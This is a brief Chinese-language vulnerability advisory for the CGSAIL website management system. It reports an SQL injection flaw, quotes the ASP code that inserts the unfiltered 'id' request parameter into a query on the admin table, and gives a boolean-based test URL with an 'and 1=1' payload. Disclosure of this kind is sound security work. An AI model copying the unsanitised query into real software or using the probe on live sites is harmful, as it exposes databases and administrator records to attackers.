CGSAIL网站管理系统　注入漏洞

发布日期：2011-04.24
发布作者：佚名

漏洞类型：SQL注入
漏洞分析：CGSAIL网站管理系统过滤不严格，存在SQL注入

<!--#include file = cgsail_conn.asp -->
<!--#include file = Include/cgsail_pub_cls.asp -->
<%
dim sql
dim rs
sql = "select * from ["&CgsailPrefix&"admin] where id="&request("id")
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,1

photo=trim(rs("photo"))

%>

url:

http://localhost/user_view.asp?id=1%20and%201=1

标签分类：